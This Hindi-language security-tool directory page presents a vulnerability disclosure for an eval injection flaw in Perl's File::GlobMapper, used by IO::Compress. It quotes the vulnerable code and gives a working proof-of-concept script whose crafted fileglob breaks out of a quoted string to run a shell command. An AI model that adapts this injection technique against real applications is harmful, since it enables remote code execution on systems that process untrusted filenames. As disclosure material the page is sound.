Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/joakimbulow/cve-2026-48962
भेद्यता विश्लेषणकोड विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षा
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - कोड निष्पादन

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सारांश

File::GlobMapper::_getFiles() में एक eval इंजेक्शन भेद्यता किसी भी हमलावर को, जो IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip(), या किसी भी सहयोगी फ़ंक्शन को दिए गए आउटपुट fileglob तर्क को नियंत्रित कर सकता है, चल रही प्रक्रिया के संदर्भ में मनमाना Perl कोड निष्पादित करने की अनुमति देती है। कोई प्रमाणीकरण आवश्यक नहीं है। प्रभाव पूर्ण है: होस्ट प्रक्रिया की गोपनीयता, अखंडता और उपलब्धता पूरी तरह से समझौता हो जाती है।


विवरण

File::GlobMapper::_parseOutputGlob() कॉलर-आपूर्ति किए गए आउटपुट पैटर्न को Perl डबल-कोट्स में लपेटकर एक आउटपुट फ़ाइलनाम टेम्पलेट बनाता है और परिणाम संग्रहीत करता है। _getFiles() फिर उस स्ट्रिंग को बिना किसी सैनिटाइज़ेशन के सीधे eval को पास करता है:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper स्वचालित रूप से आमंत्रित होता है जब भी किसी IO::Compress::* / IO::Uncompress::* फ़ंक्शन के इनपुट और आउटपुट तर्क दोनों fileglob स्ट्रिंग्स होते हैं (< > द्वारा सीमांकित)। यह एक प्रलेखित, सामान्य कॉलिंग कन्वेंशन है। प्रभावित फ़ंक्शनों में gzip, zip, bzip2, deflate, rawdeflate, और सभी IO::Uncompress::* समकक्ष शामिल हैं।

कोई भी वर्ण जो आस-पास की डबल-कोटेड Perl स्ट्रिंग को बंद करता है — एक शाब्दिक ", एक बैकटिक, ${...}, या @{...} — उसके बाद मनमाना Perl कोड यथावत निष्पादित होता है।


PoC

poc.pl के रूप में सहेजें और perl poc.pl से चलाएँ:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

अपेक्षित आउटपुट:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 पर पुष्टि की गई।


प्रभाव

यह एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। कोई भी वेब एप्लिकेशन, API सेवा, CLI टूल, या बैच-प्रोसेसिंग पाइपलाइन जो उपयोगकर्ता इनपुट स्वीकार करती है और उसे किसी भी IO::Compress::* फ़ंक्शन के आउटपुट fileglob तर्क के रूप में पास करती है, असुरक्षित है। इंजेक्ट किया गया कोड कॉलिंग प्रक्रिया के पूर्ण विशेषाधिकारों के साथ चलता है।

कौन प्रभावित है: Perl अनुप्रयोगों के डेवलपर और ऑपरेटर जो fileglob कॉलिंग कन्वेंशन के साथ IO::Compress::* फ़ंक्शन का उपयोग करते हैं और जहाँ आउटपुट पैटर्न अविश्वसनीय इनपुट से प्राप्त होता है — जैसे वेब फॉर्म, REST API पैरामीटर, CLI तर्क, या गैर-विशेषाधिकार प्राप्त उपयोगकर्ताओं द्वारा नियंत्रित कॉन्फ़िगरेशन फ़ाइलों से फ़ाइलनाम टेम्पलेट।

setuid या विशेषाधिकार-प्राप्त डेमॉन संदर्भों में, शोषण से उन्नत विशेषाधिकार स्तर पर कोड निष्पादन प्राप्त होता है। यह बग File::GlobMapper की प्रारंभिक रिलीज़ (≈ 2005) के बाद से मौजूद है और हर Linux वितरण पर मौजूद है जो perl पैकेज वितरित करता है।

संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
टूल डाउनलोड करें